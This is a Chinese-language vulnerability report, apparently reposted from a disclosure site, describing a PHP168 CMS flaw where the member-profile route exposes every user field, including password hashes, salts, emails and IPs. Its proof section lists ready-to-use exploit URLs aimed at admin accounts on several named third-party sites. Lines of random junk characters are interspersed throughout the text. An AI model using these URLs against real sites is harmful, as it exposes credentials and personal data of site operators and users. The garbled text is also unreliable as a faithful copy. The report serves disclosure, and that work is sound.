|
简要描述: 国微PHP168中出现了一处神奇的array,可致全站用户数据泄露。泄露的内容包括全站用户的密码密文、邮箱、密码salt、IP等敏感信息。 详细说明:PHP168程序内置“用户”模块包含用户个人资料展示页面。在很多实际场景中,这个页面不会在前台使用,但可直接通过URL进行访问。页面路由为:/homepage.php/[用户名]/member-profile
& `: }/ J& A/ {; `1 P
0 Y- @/ G: L# U# P; @' E$ ~以PHP168官方演示站点为例,查看任意用户信息的页面链接为:2 ]( X6 y5 ^+ {" J/ j* O- U8 n4 ]! r
4 l4 `* G: \( E3 h( nhttp://php168.cn/com/homepage.php/admin/member-profile
" z/ x) x. k9 V& r/ l6 J6 n+ @1 j, f
* s% l9 E. D! `6 o2 M由于该模块代码中出现了一句神奇的array,导致用户数据表内所有数据被当作数组取出直接显示出来。
6 n( f) c; @/ f! ]& T" ^1 Zhttp://www.myhack58.com/Article/UploadPic/2013-9/2013920918425520.jpg
" u; n5 ~* @1 a) U) b9 ]0 t: j
# L* f% o" ?/ W4 V W 漏洞证明:该漏洞影响使用该CMS系统的站点,以PHP168官网上的客户案例为例:
2 d8 h# G! B$ g7 o) O- y0 a% s* G* H9 @3 m9 a+ u
http://www.zjfzol.com.cn/homepage.php/admin/member-profile0 P3 t8 N) f( r8 {* }( U
& u# m0 w/ ~8 L( r0 D; O j! u r
http://www.scswl.cn/homepage.php/admin/member-profile8 c% e5 l8 h" C! s: ?3 h5 ^
- @7 n m1 s1 M6 ] P$ g" M* G
http://www.tunet.edu.cn/homepage.php/admin/member-profile) M& V2 ~5 x, T/ _$ p) U# a
3 t" U* Z' h8 t; I: Z, C1 ehttp://www.itlead.com.cn/homepage.php/admin/member-profile
$ p5 D! N9 N6 e
' l) |# N6 v! A j5 ]http://www.aedp.cn/homepage.php/admin/member-profile
3 Z) F9 k: [3 \( X8 |$ b7 @8 S$ g5 G7 N6 P) I# e
http://www.qianlongnews.com/homepage.php/test/member-profile9 D! C3 d5 q6 n$ u: j5 G$ [
1 `. f3 |* V6 K' H2 V9 _( |http://ny.zlxk.com/gov/homepage.php/admin/member-profile 修复方案:去掉输出 [/td][/tr]7 W, D! x1 T$ f9 E
[/table] |